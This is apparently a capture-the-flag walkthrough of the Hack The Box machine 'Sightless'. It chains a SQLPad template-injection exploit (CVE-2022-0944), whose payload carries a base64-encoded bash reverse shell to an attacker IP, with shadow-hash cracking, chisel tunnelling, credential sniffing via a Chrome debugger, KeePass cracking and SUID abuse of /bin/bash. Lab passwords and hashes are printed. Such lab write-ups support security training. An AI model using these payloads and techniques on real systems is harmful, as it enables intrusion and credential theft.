Recon
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.157.23]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
As always the very first step is to run a nmap scan against the machine. Here I see the usual ports for a Linux machine which are a HTTP server and SSH. As per usual I add the discovered domain sightledd.htb
to my /etc/hosts
file. While there is also FTP, since nmap did not pick up on an enabled anonymous logon I ignore it (well and don’t need for the entire machine.
The website describes some of the managed IT services the company is offering. Chiefly among them is a demo SQLPad instance. The button to take me there also reveals the subdomain, where I can find said demo to be sqlpad.sightless.htb
. Another service offering is talking about Froxlox but this information will come in handy at a later time.
Foothold as root (container)
SQLPad - CVE-2022-0944
Before I can run any query through SQlPad I have to add a connection to a database. However currently I don’t have any credentials or any information about what database I am supposed to connect to.
So I go looking for a CVE instead and find one that fits the bill. CVE-2022-0944, is a Template Injection in the Database when creating/editing a connection in SQLPad, which allows for RCE on the system. This blog goes into more details about the vulnerability and provides a proof-of-concept, which I edit to execute the usual Bash reverse shell. To avoid any issues with quotes I base64 encode the payload and decode it again on the system. This gives me a reverse shell as root, well not the root user on the machine, within a Docker container.
# original
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
# my payload
# base64 encoded rev shell "sh -i >& /dev/tcp/10.10.14.22/9001 0>&1"
{{ process.mainModule.require('child_process').exec('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjIvOTAwMSAwPiYx | base64 -d | bash -i') }}
Shell as michael
# whoami
root
# ls -la /
total 88
drwxr-xr-x 1 root root 4096 Aug 2 09:30 .
drwxr-xr-x 1 root root 4096 Aug 2 09:30 ..
-rwxr-xr-x 1 root root 0 Aug 2 09:30 .dockerenv
...
As mentioned above while I have a shell as a root user this is not the root user. So I start looking poking around and trying to get out of the Docker container. I first check what other users exist in the container and find a second user named michael
.
# cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash
# cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
...SNIP...
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
And while doing some further (not needed) enumeration I crack the hashed password of the user. Going out on a limb I check whether michael
has reused their password on the host machine. They did in fact do this and I can read the user flag.
$ hashcat -m 1800 hashes/michael.txt rockyou.txt --show
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse
Shell as root
After running some basic enumeration I notice an additional listening service on port 8080
and a running chrome debugging server, but this only run as john
and not root. This could nonetheless be leverage to compromise john
and from there potentially the root user.
michael@sightless:~$ ps auxef
root 1172 0.0 0.1 10340 4160 ? S 08:48 0:00 _ /usr/sbin/CRON -f -P
john 1208 0.0 0.0 2892 972 ? Ss 08:48 0:00 _ /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john 1647 0.0 0.6 33660 24480 ? S 08:50 0:01 _ /usr/bin/python3 /home/john/automation/administration.py
john 1648 0.3 0.3 33630172 15416 ? Sl 08:50 0:10 _ /home/john/automation/chromedriver --port=49709
john 1659 0.6 2.8 34011320 112872 ? Sl 08:50 0:17 | _ /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.bIqPj1 data:,
...SNIP...
michael@sightless:~$ netstat -tuplen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:33175 0.0.0.0:* LISTEN 0 25211 -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN 115 26314 -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN 0 26631 -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 102 23068 -
tcp 0 0 127.0.0.1:49709 0.0.0.0:* LISTEN 1001 28102 -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 115 25519 -
tcp 0 0 127.0.0.1:40107 0.0.0.0:* LISTEN 1001 28172 -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 0 25844 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 25814 -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 25142 -
tcp6 0 0 :::22 :::* LISTEN 0 25816 -
tcp6 0 0 :::21 :::* LISTEN 116 25949 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 102 23067 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 20316 -
I forward port 8080
to my machine to see what service is running there. Since I do plan on adding more ports to be forwarded I chose chisel over SSH. Initially during the box release I could simply forward ports for 127.0.0.1
and still access Froxlor. This was seemingly patched and now I had to use the domain instead. Which I also had to add to my /etc/hosts
as a domain name for 127.0.0.1
.
michael@sightless:~$ ./chisel client 10.10.14.22:31338 R:8080:admin.sightless.htb:8080
2024/09/14 09:51:11 client: Connecting to ws://10.10.14.22:31338
2024/09/14 09:51:11 client: Connected (Latency 16.526334ms)
kali@kali:~$ ./chisel server --port 31338 --reverse
2024/09/14 11:50:46 server: Reverse tunnelling enabled
2024/09/14 11:50:46 server: Fingerprint OdWkk/ySy/8/lA7vvfAsbUV+NvixeHLqFc2YQRvz7fk=
2024/09/14 11:50:46 server: Listening on http://0.0.0.0:31338
2024/09/14 11:51:11 server: session#1: tun: proxy#R:8080=>8080: Listening
Here I find a Froxlor instance (as advertised on the website), but I do not have any valid credentials to log in with.
Chromium Debugger
michael@sightless:~$ ./chisel client 10.10.14.22:31338 R:8080:admin.sightless.htb:8080 R:40107:127.0.0.1:40107
2024/09/14 09:57:40 client: Connecting to ws://10.10.14.22:31338
2024/09/14 09:57:40 client: Connected (Latency 16.441175ms)
Since the Froxlor instance was a preliminary dud I also forward the Chromium Debugger port to my machine. You can find out the correct port by looking for higher ports numbers that are associated with the user id of john
which is 1001
.
From there I open a Chromium browser on my machine and navigate to the URL chrome://inspect/#devices
. From there I configure a new remote target based on the port number that I forwarded to myself. This allows me to inspect a tab with the http://admin.sightless.htb:8080/index.php
opened.
It seems like a script is running on the machine, which simulates a user quickly logging into Froxlor and signing out just a few seocnd later. Looking at the Application tab in the Web Developer Tools I can see a PHPSESSID
, which would allow me to bypass the Froxlor login page. Sadly due to the frequent log out the session id is invalided very quickly, which means it is no good to me.
But since I am dealing with HTTP traffic I should also be able to inspect the unencrypted traffic to get the login credentials. After logging an entire login-cycle by ticking the Preserve log
checkbox and stopping the log capture afterwards I find the username and password in a request to index.php
.
Froxlor
From here I can finally log into the Froxlor instance as admin:ForlorfroxAdmin
and figure out how I can get code execution from it. Or find another vector entirely (which is the intended path for this machine).
FTP Traffic
Froxlor offers many options and one among them is a network traffic dashboard, which shows that some FTP happened at a point in time (after increasing the time frame). Which might correlate to the exposed FTP port of the machine.
Digging a bit deeper in the GUI I come across the web1
FTP user and the option to set a new password for them, which I promptly do.
Trying to log into the FTP service with the changed password still fails, due the SSL requirement of the server. This is a capability the standard ftp
client does not provide.
$ ftp web1:oBqmydeftA@sightless.htb
Connected to sightless.htb.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.231.103]
550 SSL/TLS required on the control channel
ftp: Login failed
ftp: Can't connect or login to host `sightless.htb:?'
221 Goodbye
The answer to this problem can found with a quick Google search on StackOverflow another issue arises after successfully connecting to the FTP server. But StackOverflow also has an answer for that in the form of set ssl:verify-certificate no
.
At last I can connect to and use the FTP service to retrieve an old Keepass database.
$ lftp -u web1,vHxakMopys ftp://sightless.htb
lftp web1@sightless.htb:~> set ssl:verify-certificate no
lftp web1@sightless.htb:~> ls
drwxr-xr-x 3 web1 web1 4096 May 17 2024 goaccess
-rw-r--r-- 1 web1 web1 8376 Mar 29 2024 index.html
lftp web1@sightless.htb:/> cd goaccess
lftp web1@sightless.htb:/goaccess> ls
drwxr-xr-x 2 web1 web1 4096 Aug 2 07:14 backup
lftp web1@sightless.htb:/goaccess> cd backup
lftp web1@sightless.htb:/goaccess/backup> ls
-rw-r--r-- 1 web1 web1 5292 Aug 6 14:29 Database.kdb
lftp web1@sightless.htb:/goaccess/backup> get Database.kdb
Keepass Database
$ keepass2john Database.kdb > Database.hash
$ john Database.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs (Database.kdb)
After recovering the password for the database I open it in KeepassXC, where I am asked to convert this file from a Keepass 1 database to a Keepass 2 one. I export the contents to a plaintext CSV file and see that password for the root
user. Logging fails tho since I need a private SSH key as well. Though I found this close by as an attachment in the Keepass database.
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root/General/sightless.htb/Backup","ssh","root","q6gnLTB74L132TMdFCpK","","","","13","2024-08-02T08:11:37Z","2024-05-17T03:59:50Z"
$ ssh -i id_rsa root@sightless.htb
Load key "id_rsa": error in libcrypto
root@sightless.htb's password:
Permission denied, please try again.
$ exiftool id_rsa
ExifTool Version Number : 12.57
File Name : id_rsa
Directory : ..
File Size : 3.4 kB
File Modification Date/Time : 2024:11:17 15:11:07-06:00
File Access Date/Time : 2024:11:17 15:11:38-06:00
File Inode Change Date/Time : 2024:11:17 15:11:36-06:00
File Permissions : -rw-------
File Type : TXT
File Type Extension : txt
MIME Type : text/plain
MIME Encoding : us-ascii
Newlines : Windows CRLF
Line Count : 49
Word Count : 55
There is an error in the SSH key, which causes the login attempt to fails. The origin of this error is the type of newlines used in the SSH which are Windows CRLF and not Unix LF. As a quickfix I cat
the key and paste it into another one to solve the issue.
$ ssh -i id_rsa root@sightless.htb
Last login: Sun Nov 17 21:14:19 2024 from 10.10.14.156
root@sightless:~# id
uid=0(root) gid=0(root) groups=0(root)
Restart Command
From there and by looking through the Froxlor documentation I see that I can gain code execution my changing the value of php-fpm restart command
. Some character filtering is in place here so instead of a reverse shell (which I could have put into script) I set the SUID bit on /bin/bash
using chmod
. However I cannot restart the service myself so I had to wait till a cronjob checked the config and executed my command.
michael@sightless:~$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14 2024 /bin/bash
michael@sightless:~$ /bin/bash -p
bash-5.1# id
uid=1000(michael) gid=1000(michael) euid=0(root) groups=1000(michael)